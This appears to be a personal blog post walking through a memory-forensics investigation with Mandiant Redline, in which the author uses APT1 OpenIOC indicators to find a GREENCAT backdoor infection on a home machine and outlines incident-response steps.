The Analysis Session Information box appeared. In the Memory Image Location,  I browsed into the collected data folder and selected the memory image. The file should be in the folder where the data was collected and it starts with the name This will allows us to acquire memory address space of processes and drivers. With this feature we can dump malicious processes or driver from memory into a file. Then we could eventually disassemble it to further determine its capabilities.  Clicked ok to finish.


Next, I  went to Mandiant Redline Options trough the M button. Here I  selected the Whitelist Management and imported a MD5 Whitelist provided by Mandiant. This extra list is a set of hashes from common (known good) executable files to filter out some of the memory analysis entries. Includes known good DLL’s and executable hashes from Microsoft Windows Server Update Service and National Software Reference Library and can be downloaded here. Then clicked Add to Whitelist to append this hashes to the existing ones. Next clicked Hide Whitelisted Items by Default and clicked ok. This allows me to hide a great number of known good information because the tool does not display any file with an MD5 hash value in the whitelist.


After that, in the Start your Investigation page – this is the home page of your analysis and contain different steps suggested by the tool to assist you in the investigation – I selected I am Reviewing a Full Live Response or Memory Image and clicked in Investigate. This took me to the navigation page where I could apply a set of filters to do a in depth analysis of the system. The tool automatically groups data by types, such as processes or users, and creates views to help you spot potential areas of compromise. First thing that called my attention was in the Processes filter where the svchost.exe was redlined with a malware risk index (MRI) score of 85. The MRI score allows me to prioritize the investigation. Higher the score more likely this process is involved in a potential compromisse.


I double clicked in the process and it took me to the detailed information page. Then I select the MRI Report tab at the bottom of the window. Here I could see the reasons that  contributed to the high MRI score, a pie graph and various tables of risk factors  . One relevant aspect was that it contained a big number of  injected memory sections.


Next, without losing anymore time I went to the IOC reports section and clicked on Create a new IOC report.  The Start you Analysis section appeared. Here I  selected the folder in which the IOC files were  located which was the folder where I extracted the APT1 appendix report. A huge list of indicators were loaded. I could review them, enable and disable each IOC by checking it. The warnings indicates that Redline will evaluate the IOC, but it may falsely indicate there were no hits (a false negative) due to a lack of collected data or unknown terms.


Then the data was evaluated and executed in the background. It took around 30m to finish. When the analysis was done I could browse the IOC report. In the report I could see details about the IOC, such as definition and author. Hits associated with each file that corresponds to an IOC. Detailed information about each hit and the number of indicators that generated hits. In this case the IOC characteristics of the GREENCAT and WEBC2-GREENCAT malware family matched the characteristics observed in the system!


GREENCAT family was one of the malware profiled in the APT1 campaign and is described in the  appendix C – The Malware Arsenal . Basically is a backdoor that communicates with a C&C server and includes a variety of features such as gathering info about the system or creating a shell. When clicking in the details section I could see full hit details such as the file and PE info. In the PE Info I could get further details on PE Sections, Exported and Imported functions and strings.


As you could see is extremely easy and accessible to everyone to do a memory analysis on a potential compromised system and use IOCs to find known Evil.  The tools are getting better, more sophisticated and automated. With this type of tools I even get the feeling that I could do memory forensics and hunting malware!

Additionally, In the resources section of the OpenIOC site you can find IOCs for malware including Zeus, Stuxnet, Duqu and others. You could then import them into Redline and scan your systems. You never know if someone might have implanted a Stuxnet variant on your home systems to compromise your wife’s nuclear centrifuge ; ).

As possible next steps, I  might get a copy of the malware sample by dumping it from memory or get the binary itself. Then take it to my malware analysis lab and determine its capabilities. Using behavioral and code analysis techniques combined with the assistance of tools available on REMnux you analyse it in a controlled environment. From an incident response perspective, I will now proceed with the containment phase. I will notify my wife about what happened and I will take her system offline in order to stop the damage and prevent the attacker from getting further. I will then go through the eradication, recovery and lessons learned phase.


Redline User Guide

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